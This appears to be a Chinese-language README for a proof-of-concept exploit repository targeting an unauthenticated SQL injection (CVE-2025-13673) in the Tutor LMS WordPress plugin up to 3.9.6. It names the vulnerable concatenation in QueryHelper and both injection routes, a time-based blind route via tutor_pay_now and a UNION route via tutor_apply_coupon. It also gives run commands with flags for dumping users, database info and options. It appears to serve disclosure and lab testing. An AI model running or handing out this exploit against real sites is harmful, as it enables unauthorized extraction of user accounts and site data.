
未认证的SQL注入漏洞存在于Tutor LMS WordPress插件(<= 3.9.6)的coupon_code参数中。
# 1. 克隆并启动实验环境
git clone https://github.com/dinosn/CVE-2025-13673.git
cd CVE-2025-13673
./setup.sh # 部署WordPress + Tutor LMS 3.9.3
# 2. 运行利用脚本
pip install requests # 唯一依赖
# 未认证(基于时间的盲注 —— 无需凭据)
python3 exploit.py http://localhost:8080
# 已认证(基于UNION —— 即时提取)
python3 exploit.py http://localhost:8080 -u testuser -p test123 --all
| 字段 | 值 |
|---|---|
| CVE | CVE-2025-13673 |
| 受影响版本 | Tutor LMS <= 3.9.6 |
| 修复版本 | 3.9.7 |
| 类型 | SQL注入(CWE-89) |
| CVSS | 7.5 / 9.3 |
| 认证要求 | 无(盲注) / 订阅者(UNION) |
QueryHelper::prepare_where_clause() 通过原始字符串拼接构建SQL WHERE子句:
// helpers/QueryHelper.php — 存在漏洞
$value = is_numeric( $value ) ? $value : "'" . $value . "'";
未进行转义。单引号即可跳出字面值,允许任意SQL注入。
未认证: POST / 携带 tutor_action=tutor_pay_now。WordPress的 init 钩子对所有访客触发该请求。_tutor_nonce 嵌入在每个前端页面中,且对匿名会话有效。可通过 SLEEP() 进行数据提取。
订阅者及以上: POST /wp-admin/admin-ajax.php 携带 action=tutor_apply_coupon。返回包含注入的UNION SELECT数据的JSON —— 响应中反射的两个列用于即时提取。
- $val = is_numeric( $val ) ? $val : "'" . $val . "'";
+ // 值现在通过 $wpdb->prepare('%s', $value) 处理
usage: exploit.py [-h] [-u USERNAME] [-p PASSWORD] [--course-id COURSE_ID]
[--dump-users] [--db-info] [--options] [--all]
[--delay DELAY]
url
模式:
默认(无 -u/-p):未认证的基于时间的盲注SQLi
带 -u/-p:已认证的基于UNION的注入(快速)
示例:
exploit.py http://target # 未认证盲注
exploit.py http://target -u student -p pass --all # 已认证UNION
# 测试版本3.9.5(存在esc_sql部分缓解措施)
./setup.sh 3.9.5
# 测试版本3.9.7(应已修复)
./setup.sh 3.9.7
| 文件 | 描述 |
|---|---|
exploit.py | 双模式PoC:未认证盲注 + 已认证UNION |
setup.sh | 一键部署实验环境 |
docker-compose.yml | WordPress 6.7 + MySQL 8.0 |
仅用于授权的安全测试和教育目的。